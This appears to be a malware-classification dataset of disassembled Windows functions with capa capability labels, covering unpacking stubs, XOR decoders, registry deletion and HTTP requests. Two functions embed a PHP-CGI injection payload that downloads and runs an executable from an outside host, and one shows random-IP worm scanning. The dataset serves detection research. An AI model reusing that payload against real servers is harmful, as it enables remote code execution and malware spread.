joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10011270
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x1011c1a8]
sub esp, 8
push ebx
push esi
mov esi, dword [0x1011c1a4]
push edi
cmp esi, eax
je 0x10011353
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp byte [esi], 2
jne 0x100112b9
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
lea eax, [esi + 1]
push eax
push connect
call ebx
mov edi, dword [ebp - 8]
test edi, edi
jne 0x100112ca
mov eax, dword [0x1011c1a8]
add esi, 0x105
cmp esi, eax
jne 0x10011292
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [0x1011c1a8]
xor ecx, ecx
mov esi, dword [0x1011c1a4]
mov eax, 0x7d8c42b3
mov dword [ebp - 4], ecx
mov ecx, ebx
sub ecx, esi
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x1001133d
xor edi, edi
cmp byte [edi + esi], 2
jne 0x10011317
lea eax, [esi + 1]
add eax, edi
push eax
push connect
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov ebx, dword [0x1011c1a8]
mov esi, dword [0x1011c1a4]
inc dword [ebp - 4]
mov ecx, ebx
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
add edi, 0x105
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 4], eax
jb 0x100112f4
mov edi, dword [ebp - 8]
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
push 0
lea ecx, [edx + 6]
call fcn.10004e10
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000fa10
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1000fb99
pushal
mov esi, 0x1000b0d9
lea edi, [esi - 0xa0d9]
push edi
or ebp, 0xffffffff
jmp 0x1000fa3a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1000fa41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1000fa30
mov eax, 1
add ebx, ebx
jne 0x1000fa53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
ja 0x1000fa48
jne 0x1000fa64
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1000fa48
xor ecx, ecx
sub eax, 3
jb 0x1000fa78
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1000faea
mov ebp, eax
add ebx, ebx
jne 0x1000fa83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x1000fa90
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x1000fab4
inc ecx
add ebx, ebx
jne 0x1000faa0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
ja 0x1000fa95
jne 0x1000fab1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1000fa95
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jle 0x1000fad4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1000fac5
jmp 0x1000fa36
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1000fad4
add edi, ecx
jmp 0x1000fa36
pop esi
sub edi, dword [edi - 4]
push edi
mov edi, esi
mov ecx, 0x113
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1000faf6
cmp byte [edi], 5
jne 0x1000faf6
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x1000fafb
pop edi
mov eax, dword [edi]
or eax, eax
je 0x1000fb67
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xf000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xf03c]
xchg edx, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1000fb23
push edx
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push edx
call dword [esi + 0xf040]
pop edx
or eax, eax
je 0x1000fb61
mov dword [ebx], eax
add ebx, 4
jmp 0x1000fb40
popal
xor eax, eax
ret 0xc
lea ebx, [esi - 4]
add edi, 4
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1000fb98
cmp al, 0xef
ja 0x1000fb8b
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1000fb6d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1000fb7a
popal
jmp 0x100047a0
Function at 0x401690
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x10
push ebx
push esi
push edi
push edx
pop edi
push edi
push 0
push dword [section..data]
mov dword [ebp - 8], edi
push ecx
pop esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, edi
shr ebx, 2
mov dword [ebp - 4], eax
or ebx, ebx
je 0x4016d4
push esi
pop edi
mov ecx, eax
sub edi, eax
mov edx, ebx
mov eax, dword [edi + ecx]
mov dword [ecx], eax
lea ecx, [ecx + 4]
dec edx
jne 0x4016c3
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 4]
shl ebx, 2
cmp ebx, edi
jae 0x4016ef
push edi
pop edx
sub esi, eax
lea ecx, [ebx + eax]
sub edx, ebx
mov al, byte [ecx + esi]
mov byte [ecx], al
lea ecx, [ecx + 1]
dec edx
jne 0x4016e4
mov eax, dword [ebp - 4]
lea esi, [edi - 8]
lea ecx, [eax - 8]
add ecx, edi
push esi
pop ebx
mov edx, dword [ecx + 4]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ecx]
shr ebx, 2
and esi, 3
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
or ebx, ebx
je 0x401731
lea ecx, [ebx + edx]
mov edx, dword [eax]
movzx ecx, cl
ror edx, cl
mov ecx, dword [ebp - 8]
add eax, 4
xor edx, ecx
sub edx, ebx
mov dword [eax - 4], edx
mov edx, dword [ebp - 0xc]
dec ebx
jne 0x401714
test esi, esi
je 0x40173d
xor byte [eax], cl
lea eax, [eax + 1]
dec esi
jne 0x401735
mov edi, dword [ebp - 0x10]
mov edi, dword [edi - 4]
push edi
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, dword [ebp - 4]
push eax
pop esi
mov edx, esi
push ebx
pop ecx
call section..text
push ebx
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408e84
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x4357363a
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x37be4a3e
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x404d00
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov ebx, eax
cmp byte [ebx], 0
jne 0x404d32
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ebx, [ebp - 0x10c]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push ebx
call fcn.00404b70
add esp, 0x14
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
lea eax, [edx + eax*4]
push eax
call fcn.004054e0
pop ecx
mov esi, eax
test esi, esi
jne 0x404d65
push 1
call fcn.00404530
pop ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 4]
lea eax, [esi + eax*4]
push eax
push esi
push ebx
call fcn.00404b70
add esp, 0x14
mov eax, dword [ebp - 4]
dec eax
mov dword [0x407288], eax
mov dword [0x40728c], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404da0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov ebx, eax
test eax, eax
jne 0x404dbb
mov ebx, dword [0x407358]
mov esi, ebx
xor ecx, ecx
jmp 0x404dde
mov edx, esi
or eax, 0xffffffff
inc eax
cmp byte [edx + eax], 0
jne 0x404dc6
inc eax
mov dword [ebp - 4], eax
cmp byte [esi], 0x3d
je 0x404dd9
add ecx, dword [ebp - 4]
mov eax, dword [ebp - 4]
add esi, eax
cmp byte [esi], 0
jne 0x404dc1
lea eax, [ecx + 1]
push eax
call fcn.004054e0
pop ecx
mov edi, eax
mov dword [0x407294], eax
cmp dword [0x407294], 0
jne 0x404e05
push 1
call fcn.00404530
pop ecx
mov esi, ebx
jmp 0x404e3a
mov edx, esi
or eax, 0xffffffff
inc eax
cmp byte [edx + eax], 0
jne 0x404e0e
inc eax
mov dword [ebp - 4], eax
cmp byte [esi], 0x3d
je 0x404e35
mov ecx, edi
mov edx, esi
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
inc edx
test al, al
jne 0x404e25
pop eax
mov eax, dword [ebp - 4]
add edi, eax
mov eax, dword [ebp - 4]
add esi, eax
cmp byte [esi], 0
jne 0x404e09
mov byte [edi], 0
cmp ebx, dword [0x407358]
je 0x404e51
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xfe8a38
Capabilities:
Encode data using xor

Disassembly:
jmp 0xfe8a42
pushal
call 0xfe8a48
pop ebp
sub ebp, 0x10
sub ebp, 0xbe8a38
jmp 0xfe8a5e
mov eax, 0xbe8a38
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b7
mov edx, 0x2f3b7bc5
xor byte [eax], dl
inc eax
dec ecx
jne 0xfe8a75
jmp 0xfe8a88
dec esi
or byte [esi + 0x4c], cl
stc
invalid
Function at 0x401000
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40103d
mov ecx, dword [ebp + 8]
push ecx
call sub.WS2_32.dll_gethostbyname
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401030
xor eax, eax
jmp 0x401040
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x401050
Capabilities:
Connect to http server
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push 0
push 0
push 0
push 0x403630
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4010d0
push 0
push 0
push 3
push 0
push 0
push 0x50
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4010bc
push 0
push 0x84001700
push 0
push 0
push 0x403698
push str.___ADdallow_url_include_3d1_ADdauto_prepend_file_3dphp:__input_r_n_r_n__php_system_C:WINDOWS_system32cmd.exe__k_powershell__W_Hidden_powershell__command_Invoke_WebRequest_https:__twizt.net_phpvuln.exe__UseBasicParsing__OutFile_TEMP.exe___Start_TEMP.exe____echo_1337__die__r_n
push 0x4037c0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x4010e0
Capabilities:
Connect to http server
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_6.1__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_35.0.1916.153_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401160
push 0
push 0
push 3
push 0
push 0
push 0x50
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40114c
push 0
push 0x84001700
push 0
push 0
push str.HTTP_1.1
push str._index.php__ADdallow_url_include_3d1_ADdauto_prepend_file_3dphp:__input_r_n_r_n__php_system_C:WINDOWS_system32cmd.exe__k_powershell__W_Hidden_powershell__command_Invoke_WebRequest_https:__twizt.net_phpvuln.exe__UseBasicParsing__OutFile_TEMP.exe___Start_TEMP.exe____echo_1337__die__r_n
push str.POST
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x4012c0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d8
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3333ee
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x1d8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4012fe
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
push 0
push 0x4012a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x198]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
add esp, 4
mov ecx, 1
test ecx, ecx
je 0x40140b
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xc8
idiv ecx
add edx, 0x14
mov dword [ebp - 4], edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
mov dword [ebp - 8], edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
mov dword [ebp - 0x1a0], edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
mov dword [ebp - 0x19c], edx
cmp dword [ebp - 4], 0x7f
je 0x401406
cmp dword [ebp - 4], 0xac
je 0x401406
cmp dword [ebp - 4], 0xc0
je 0x401406
mov edx, dword [ebp - 0x19c]
push edx
mov eax, dword [ebp - 0x1a0]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
push str._d._d._d._d
lea eax, [ebp - 0x1d4]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push 0
lea ecx, [ebp - 0x1d4]
push ecx
push 0x401170
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x32
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401333
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x433002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x785b6409
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x775d7e44
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x405d7e
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x7a1244], 0
push esi
jne 0x405db5
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405d8f
mov dword [ecx*4 + 0x7a1240], eax
inc ecx
cmp ecx, 0x100
jl 0x405d8a
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405de6
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x7a1240]
xor eax, esi
inc ecx
dec edx
jne 0x405dc8
pop edi
not eax
pop esi
ret 0xc

Function at 0x4282a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x17000]
push edi
jmp 0x4282ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4282c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4282b0
mov eax, 1
add ebx, ebx
jne 0x4282d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4282c8
jne 0x4282e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4282c8
xor ecx, ecx
sub eax, 3
jb 0x4282f8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42836a
mov ebp, eax
add ebx, ebx
jne 0x428303
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x428310
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x428334
inc ecx
add ebx, ebx
jne 0x428320
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x428315
jne 0x428331
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x428315
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x428354
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x428345
jmp 0x4282b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x428354
add edi, ecx
jmp 0x4282b6
pop esi
mov edi, esi
mov ecx, 0x115
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x428372
cmp byte [edi], 3
jne 0x428372
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x428377
lea edi, [esi + 0x26000]
mov eax, dword [edi]
or eax, eax
je 0x4283e6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x28000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x280c4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4283a4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x280cc]
or eax, eax
je 0x4283e0
mov dword [ebx], eax
add ebx, 4
jmp 0x4283c1
call dword [esi + 0x280c8]
mov ebp, dword [esi + 0x280d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42841a
sub esp, 0xffffff80
jmp 0x409ac0
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x406037
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x406046
pop dword [ebp - 0x4c]
mov eax, 0xbd3387bb
sub eax, 0xbcf32775
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xbfdf01a
add dword [ebp - 0x5c], 0x42545531
mov dword [ebp - 0x58], 0x99fe776b
add dword [ebp - 0x58], 0x9834d4da
mov dword [ebp - 0x54], 0xe460c90d
sub dword [ebp - 0x54], 0x981484df
mov dword [ebp - 0x50], 0x3a1b21f3
add dword [ebp - 0x50], 0xc5e4de0d
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x7f19faee
sub eax, 0x7ed92a9a
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x907fd7d1
sub dword [ebp - 0x5c], 0x1c0d6e7b
mov dword [ebp - 0x58], 0x88d02911
add dword [ebp - 0x58], 0xb89c3864
mov dword [ebp - 0x54], 0x44e53c30
add dword [ebp - 0x54], 0x1e8a303c
mov dword [ebp - 0x50], 0x47499705
sub dword [ebp - 0x50], 0x47499705
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3a3b3
push 0
call eax
mov ecx, 0x7c509a4
sub ecx, 0x7c4bf07
mov edx, eax
mov esi, 0xa5c6366b
add esi, 0x5a7b7995
add esi, dword [ebp - 0x4c]
mov ebx, 0xe81d3e9d
add ebx, 0x860c927a
sub dword [ebp - 0x40], 0x6a595f99
mov edi, dword [esi]
xor edi, ebx
sub dword [ebp - 0xc], 0x1a90ef34
mov dword [edx], edi
xor dword [ebp - 4], esi
add edx, 4
add esi, 0x3605c54b
add esi, 0xc9fa3ab9
loop 0x406163
add eax, 0x7af8fae0
add eax, 0x85082267
mov ebx, eax
add eax, 5
mov ecx, 0xd0a04bec
sub ecx, 0xd0604bec
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x402340
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
mov eax, dword [0x4360e4]
xor eax, esp
mov dword [esp + 0xc], eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4023c1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword fs:[0x2c]
mov edi, eax
mov edx, dword [ecx]
mov ecx, dword [0x4384c8]
cmp ecx, dword [edx + 4]
jle 0x4023b1
push 0x4384c8
call fcn.0040f975
add esp, 4
cmp dword [0x4384c8], esi
jne 0x4023b1
push 0x429950
call fcn.0040fdcc
add esp, 4
push 0x4384c8
call fcn.0040f92b
add esp, 4
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 0x4369a8
test edi, edi
jne 0x4023d4
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.0040f853
mov esp, ebp
pop ebp
ret
mov edx, 0x430cf4
lea ecx, [esp + 0xc]
call fcn.00402270
int3

Function at 0x402570
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push dword [0x43872c]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x40259a
mov ecx, dword [eax + 4]
mov edx, dword [ebp + 8]
push ecx
push dword [ebp - 4]
call fcn.004099e0
add esp, 8
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
xor ecx, ecx
push ecx
push dword [ebp - 4]
call fcn.004099e0
add esp, 8
mov esp, ebp
pop ebp
ret

Function at 0x4025b0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push dword [0x43872c]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4025c8
mov ecx, dword [eax + 4]
jmp 0x4025ca
xor ecx, ecx
push esi
mov esi, dword [ebp + 0xc]
cmp esi, 0x3fc
ja 0x4025ef
test ecx, ecx
je 0x4025ef
xor eax, eax
nop dword [eax]
cmp dword [ecx + eax*4], 0
lea edx, [ecx + eax*4]
je 0x4025fd
inc eax
cmp eax, 2
jl 0x4025e0
push dword [ebp + 8]
call fcn.0040fde1
add esp, 4
pop esi
pop ebp
ret
mov ecx, dword [ebp + 8]
mov al, byte [ecx + esi]
mov byte [ecx], al
mov dword [edx], ecx
pop esi
pop ebp
ret